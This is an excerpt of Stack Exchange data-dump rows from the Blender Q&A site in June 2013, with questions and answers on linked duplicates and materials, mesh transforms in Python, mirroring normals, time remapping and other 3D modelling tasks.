  <row Id="1075" PostTypeId="1" AcceptedAnswerId="1077" CreationDate="2013-06-15T00:33:23.770" Score="13" ViewCount="2747" Body="&lt;p&gt;My understanding is that linked duplicates share an object's material properties and mesh data, but not its object transform properties. In a scene I am working on, I very much like the efficiency of having the mesh data being shared while also being able to scale and rotate instances. But I need to be able to assign a different image texture to each instance sharing the mesh's UV map (which comprises only a small portion of the mesh). If there is no way to make an actual linked duplicate do this, is there some other approach that will keep the mesh data linked? &lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-06-16T17:04:39.197" Title="Is there some way to map different image textures to instances of linked duplicates?" Tags="&lt;materials&gt;&lt;mesh&gt;&lt;image&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostTypeId="2" ParentId="1064" CreationDate="2013-06-15T00:41:57.350" Score="4" Body="&lt;p&gt;Heres a solution that avoids accessing verts one at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theres also the &lt;code&gt;gotcha&lt;/code&gt; that an object may share mesh data, so you wont want to transform these more then once (thats why its using a &lt;code&gt;set&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def move_by_amount(x, y, z):&#xA;    from mathutils import Matrix&#xA;    matrix = Matrix.Translation((x, y, z))&#xA;    mesh_unique = set(obj.data for obj in bpy.context.selected_objects)&#xA;    for mesh in mesh_unique:&#xA;        mesh.transform(matrix)&#xA;        mesh.update()&#xA;&#xA;# Replace with your own x, y, z coordinates&#xA;move_by_amount(10, -15, 5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-15T00:41:57.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1077" PostTypeId="2" ParentId="1075" CreationDate="2013-06-15T00:49:26.273" Score="10" Body="&lt;p&gt;Keep the object data linked, but make the material linked to the Object, not Object Data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zFDZV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, make a new texture for each object-linked material. That way, several objects can have different textures, while still sharing the same object data.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-15T00:49:26.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1078" PostTypeId="2" ParentId="1075" CreationDate="2013-06-15T00:53:11.707" Score="4" Body="&lt;p&gt;By default a material slot is linked to ObjectData (and then a material is added to the slot). In your case change it so that the material slot is linked to the Object and then add/assign a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have some material slots that link materials to ObjectData and when needed link to Object. So your objects are still using the same mesh (not duplicating it) but only duplicating material for chosen material slots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The defaults can be customized from the User Preferences Editor's ''Editing'' tab. Under ''Link Materials To'' section choose Object and save settings as default.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-16T17:04:39.197" LastActivityDate="2013-06-16T17:04:39.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostTypeId="2" ParentId="319" CreationDate="2013-06-15T02:58:25.607" Score="20" Body="&lt;p&gt;The Copy Attributes add-on is an excellent tool for copying all modifiers. You also have the ability to copy only selected modifiers (apart from other attributes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This add-on is not enabled by default. So you have to enable it from the User Preferences Editor. Once enabled it is available as a hotkey &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, select the objects that need the modifiers and then the source object with a set of modifiers (active object) and press the hotkey to invoke the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Copy_Attributes_Menu&quot; rel=&quot;noreferrer&quot;&gt;https://en.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Copy_Attributes_Menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It is also worth noting that by setting up drivers we can simultaneously edit properties on similar modifiers on different objects. &lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2018-08-27T21:59:42.300" LastActivityDate="2018-08-27T21:59:42.300" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="1080" PostTypeId="2" ParentId="1053" CreationDate="2013-06-15T04:04:44.330" Score="14" Body="&lt;p&gt;You can use the 'time remapping' sliders to control time. The benefit of this is that all the simulation and whatnot are also slowed down properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJQKg.png&quot; alt=&quot;Blender time remapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratio controls how fast the 'time' goes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;100:100 is the default.&lt;/li&gt;&#xA;&lt;li&gt;200:100 is playback at 2x the speed. (fast-forward)&lt;/li&gt;&#xA;&lt;li&gt;100:50 is playback at half the speed. (slow-motion)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-06-15T04:04:44.330" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1081" PostTypeId="1" AcceptedAnswerId="1083" CreationDate="2013-06-15T04:29:10.753" Score="4" ViewCount="374" Body="&lt;p&gt;I'd like to make a menu with images like the sculpt brush menu and MatCap menu in Blender with Python. Can anybody walk me through it? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="683" LastEditorUserId="12" LastEditDate="2013-06-15T13:51:17.760" LastActivityDate="2013-06-15T13:51:17.760" Title="How to make a menu like the Sculpt Brush/MatCap menu with Python?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1082" PostTypeId="2" ParentId="1064" CreationDate="2013-06-15T05:10:18.420" Score="4" Body="&lt;p&gt;After placing the objects you can &lt;code&gt;Apply Transform&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object -&gt; Apply -&gt; Location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the Exporter should handle this and you could report a bug to the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So far the answers here have focused on how to do this from Python, but Im not sure why that is, the question isn't asking about scripting and there is a tool handle this.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-15T05:10:18.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1083" PostTypeId="2" ParentId="1081" CreationDate="2013-06-15T06:07:32.220" Score="2" Body="&lt;p&gt;The matcap menu is written in C, so you can't define your own menu in Python for showing arbitrary images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see where the menu is called...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the text editor view.&lt;/li&gt;&#xA;&lt;li&gt;Right click on the menu, select &lt;code&gt;Edit Source&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the line of python script that shows the matcap is displayed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See that this is a &lt;code&gt;template&lt;/code&gt; which means its a preset UI.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-15T06:07:32.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostTypeId="5" CreationDate="2013-06-15T08:18:06.337" Score="0" Body="&#xA;&#xA;&lt;h3&gt;Transforms&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Transforms operate directly on mesh data, and are convenient and efficient ways to modify the scale, translation, rotation, and shear of the vertices relative to the mesh origin.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Transforms in User Interface&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Transforms refer to the manipulation of an object or any part within there.&lt;br&gt;&#xA;Examples are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; to move&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transformation tools on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Editing#Transformation_tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Transforms in python (bpy)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To add a Vector quantity to all vertices or to scale the position of each vertex relative to the mesh origin, don't iterate over &lt;code&gt;data.vertices&lt;/code&gt;. Instead, for speed and legibility, use a transform Matrix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transforms can be done individually or can be combined and applied all at once. &#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/mathutils.html?highlight=mathutils.matrix.translation#mathutils.Matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;Matrix documentation&lt;/a&gt; shows several ways to construct various &lt;em&gt;transform&lt;/em&gt; matrices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This short example can be run on the default scene, by pasting this code into the Text Editor and hitting &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; (or the run button).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;# create a rotation matrix&#xA;mat_rot = Matrix.Rotation(math.radians(45.0), 4, 'X')&#xA;&#xA;mesh = bpy.data.objects['Cube'].data&#xA;mesh.transform(mat_rot)&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To combine transform matrices you multiply them in reverse order, this means if you want to &lt;code&gt;translate&lt;/code&gt; and then &lt;code&gt;scale&lt;/code&gt; do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# translate and scale&#xA;translation = Matrix.Translation((1.2, 3.2, 0.5))&#xA;scale = Matrix.Scale(scale_value, 4)&#xA;&#xA;mesh.transform(scale * translation)&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="32220" LastEditDate="2018-10-22T16:43:49.867" LastActivityDate="2018-10-22T16:43:49.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1085" PostTypeId="4" CreationDate="2013-06-15T08:18:06.337" Score="0" Body="Transforms modify the scale, translation, rotation, and shear of a mesh or object" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-17T14:21:52.713" LastActivityDate="2013-06-17T14:21:52.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostTypeId="2" ParentId="611" CreationDate="2013-06-15T10:29:00.943" Score="6" Body="&lt;p&gt;If you place your 'plan' image in the background using 'Background Images' on the Properties panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrWiY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to Front Ortho view ( &lt;kbd&gt;numpad&lt;/kbd&gt;1 ) and add a Cylinder (adjust the number of Vertices, Radius and Depth to fit the side view on the 'plan'. I found that 36 Vertices is a close match):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zJiq5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in edit mode, add enough edge loops ( &lt;kbd&gt;ctrl&lt;/kbd&gt;R + scroll ) to give a smooth transition along the length of the blade. Select all and rotate on the Z axis until two of the vertices line up with the bottom end of the blade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AWVOr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enable Proportional Editing and set it to Linear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dy91X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the top edge of vertices and rotate about the Z axis, ensuring the influence covers the whole cylinder ( scroll ), until the top opposing vertices line up with the top of the blade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ExoEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the edges you require, then select inverse ( &lt;kbd&gt;ctrl&lt;/kbd&gt;I ) and delete:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vk16q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is good enough for your requirements, (although it may not be 'automatic' enough).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is my update to your update!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the profile you need, you could use part of a circle positioned to give you the angles you require at the top and bottom of your blades. The circle can be distorted to the correct shape by scaling X and Z and using the 3D Cursor as an anchor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XeMNq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete unwanted vertices, and then with the Cursor back in the center, rotate the new profile to the front with &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;-90. Duplicate this &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and move it to the left &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;- by half the width of the blade, then make another duplicate and move it to the right &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;+ to give you the other side of the blade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ap2gq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill in the blade using &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt;Bridge Two Edge Loops:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdVNZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the top edge and, using the 3D Cursor as the pivot, rotate about the Z axis with the proportional editing on and set to Linear as I suggested before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AG3he.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it's just a matter of duplicating and rotating to get the desired number of blades around the turbine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eQj0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added rings to the picture just to make it easier to see that the blade faces are perpendicular to the center.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="470" LastEditDate="2013-06-19T06:30:24.667" LastActivityDate="2013-06-19T06:30:24.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1087" PostTypeId="2" ParentId="1053" CreationDate="2013-06-15T13:52:21.773" Score="15" Body="&lt;h1&gt;Render &lt;em&gt;any&lt;/em&gt; point in time&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you are prepared to learn a little scripting, you can in fact render any time you want without frame steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using some fast motion (so you can tell sub-frames are working correctly)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# frame 1.5&#xA;bpy.context.scene.frame_set(1, 0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then press &lt;code&gt;Render&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's not such a hard task to render at &lt;em&gt;any&lt;/em&gt; point in time you want, using a more advanced script you could use an fcurve to animate time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good opportunity for a newer dev to write a handy addon!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Blender-Internal &lt;a href=&quot;https://developer.blender.org/rB63de1e7e7a783525bbd4c2770c8454b4b0e79cc8&quot; rel=&quot;nofollow&quot;&gt;supports this since 2.77&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-09-24T08:06:42.510" LastActivityDate="2016-09-24T08:06:42.510" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1088" PostTypeId="1" AcceptedAnswerId="1092" CreationDate="2013-06-15T17:47:35.697" Score="13" ViewCount="6765" Body="&lt;p&gt;I recently figured out how to do it with faces, but with edges, I can't seem to get it to work. I have a complex flat plane and i need to extend an edge loop. I tried setting to individual origins in combination with all possibilities for x,y,z axes in global and local, but it is still not extruding along the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntcjF.png&quot; alt=&quot;Valid XHTML&quot;&gt;&#xA;&lt;br&gt;actual problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/STVgG.png&quot; alt=&quot;Valid XHTML&quot;&gt;&#xA;&lt;br&gt;simplified&lt;/p&gt;&#xA;" OwnerUserId="504" LastEditorUserId="32220" LastEditDate="2018-12-26T13:15:36.937" LastActivityDate="2018-12-26T13:15:36.937" Title="Is there a way to offset an edge? (extrude edge loop perpendicular to each edge)" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="1092" PostTypeId="2" ParentId="1088" CreationDate="2013-06-15T19:53:31.010" Score="12" Body="&lt;p&gt;ZMJ100 wrote an addon called &lt;strong&gt;SIRE outline&lt;/strong&gt;. When installed it will appear in the left hand toolshelf in 3dview. It does offset (inset, outset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ycSYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/28147691&quot; rel=&quot;noreferrer&quot;&gt;https://vimeo.com/28147691&lt;/a&gt; (demo video by tungee)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over at BlenderArtists &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?179375-Addon-Edge-fillet-and-other-bmesh-tools-Update-Jan-11&quot; rel=&quot;noreferrer&quot;&gt;ZMj100 went crazy (in a good way) writing mesh addons&lt;/a&gt;, one of the addons does exactly what you want. It's probably not polite to link someone elses collection directly here, although I would like to. but here is a direct link to the thread and the zip is in the thread. It's all GPL license.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-16T07:21:19.423" LastActivityDate="2013-06-16T07:21:19.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostTypeId="1" CreationDate="2013-06-15T23:24:24.097" Score="17" ViewCount="13808" Body="&lt;p&gt;When you look in the mirror you see your face flipped left to right. What you don't see is your skin turned inside-out. That would be horrific! Now if we take the gorgeous Suzanne (Monkey) and &lt;kbd&gt;tab&lt;/kbd&gt; into Edit Mode, and then enable the Normal direction indicators:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfYYa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we see all faces and vertices are facing outward:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LWZtm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I chop off half of the mesh, set the Pivot Center to 3D Cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CaB8F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rv36I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and select all &lt;kbd&gt;A&lt;/kbd&gt;. Then duplicate &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and mirror &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; along the X axis, the faces and vertices on the mirrored half are facing inward:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FXZV5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be a programing error, or a bug, or maybe theres a very good reason for it. It can be quite irritating to have to keep flipping the Normals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B6nfS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the Mirror Modifier doesn't have this problem, but what about &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;, can anyone please enlighten me on this?&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="12" LastEditDate="2014-10-23T00:58:59.200" LastActivityDate="2014-10-23T00:58:59.200" Title="Understanding mirroring and inverting an object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1094" PostTypeId="2" ParentId="1093" CreationDate="2013-06-16T00:30:41.470" Score="11" Body="&lt;p&gt;The mirror tool (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;) actually inverts the model by scaling it -1. This will flip the model, but will also invert the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Deforming/Mirror&quot;&gt;docs&lt;/a&gt; say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The mirror tool in Edit mode is similar to Mirroring in Object mode.&#xA;  &lt;strong&gt;It is exactly equivalent to scaling by -1 vertices&lt;/strong&gt;, edges or faces&#xA;  around one chosen pivot point and in the direction of one chosen axis,&#xA;  only it is faster/handier.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure what the mirror modifier is doing, but I'm assuming it copies the vertices location along the axis and puts it in the negative location. Here's what the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mirror&quot;&gt;docs&lt;/a&gt; say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Mirror modifier &lt;strong&gt;automatically mirrors a mesh along its local X, Y&#xA;  and/or Z axes&lt;/strong&gt;, which pass through the object’s center (the mirror&#xA;  plane is then defined by the two other axes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-16T11:45:28.317" LastActivityDate="2013-06-16T11:45:28.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostTypeId="2" ParentId="1046" CreationDate="2013-06-16T01:41:23.833" Score="0" Body="&lt;p&gt;If you want to manipulate actions, you might want to consider using the NLA (non-linear-actions), where you can mix, loop, modify actions etc. Otherwise you are limited to having to move about each keyframe of the actions fcurve's.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-16T01:41:23.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostTypeId="1" AcceptedAnswerId="1139" CreationDate="2013-06-16T02:30:53.063" Score="55" ViewCount="25940" Body="&lt;p&gt;I am modeling a laser pointer in Blender, but I am not sure how to make the laser's light beam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Spot light comes the closest to what I am looking for, but its starting diameter is 0, and you cannot set the spread amount to less than 1 degree. &#xA;I would like to be able to do this in the Cycles rendering engine if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTdLF.png&quot; alt=&quot;Comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am not trying to see the actual beam of light, like when you shine a laser beam through fog. Rather, I simply want to have the light beam go straight from the laser. So that if you were to shine it at an object up close, the dot would be the same size as if you were to shine it at a object farther away.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;Not this:                              But this:&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yb5Up.jpg&quot; alt=&quot;Seeing the laser beam itself.&quot;&gt; &amp;nbsp;&amp;nbsp; &lt;img src=&quot;https://i.stack.imgur.com/oYXBY.jpg&quot; alt=&quot;The laser&amp;#39;s dot on the wall&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;i&gt;*Laser images from images.google.com&lt;/i&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="1253" LastEditDate="2014-03-04T01:56:34.863" LastActivityDate="2017-09-15T06:15:57.440" Title="Making a Laser in Cycles - Straight Beam of Light?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="14" FavoriteCount="27" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostTypeId="1" CreationDate="2013-06-16T09:13:12.397" Score="11" ViewCount="2348" Body="&lt;p&gt;Is there a way to redefine a spline/bezier object into segments of even length or to tile the spline into a number of segments. (like the &quot;normalize spline&quot; function in 3dmax) &lt;a href=&quot;https://www.youtube.com/watch?v=yALso-_4dyw&quot; rel=&quot;nofollow&quot;&gt;example video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to be more general: I would like to model a terrain from a height map using contour lines. My approach was to import a &lt;code&gt;.dxf&lt;/code&gt;, convert it to a mesh, then use the loft tool from the &quot;loop tools&quot; addon. But this doesn't work well because each segment has a different number of vertices (the result is often a &quot;twisted&quot; surface). Putting the &quot;twist&quot; option in a negative value didn't work; this only shifts the problem around the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you model such a terrain (from the contour lines)?&#xA;&lt;strong&gt;OR&lt;/strong&gt;&#xA;How do you redefine a spline in the way that I previously mentioned?&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="743" LastEditDate="2013-12-16T07:05:40.413" LastActivityDate="2021-03-23T20:10:39.517" Title="Normalize a spline" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostTypeId="1" AcceptedAnswerId="1104" CreationDate="2013-06-16T12:02:59.740" Score="21" ViewCount="14063" Body="&lt;p&gt;I would like to automate the proccess of rendering images (sprites).&#xA;What I want to do is to render an image of the same model with different textures, ideally the texture filename would be passed as a command line parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am totally unfamiliar with blender scripting or blender command line. Can somebody please share some ideas of how this could be done?&lt;/p&gt;&#xA;" OwnerUserId="699" LastEditorUserId="29" LastEditDate="2013-12-11T09:36:08.150" LastActivityDate="2013-12-11T09:36:08.150" Title="Blender rendering automation (build script)" Tags="&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
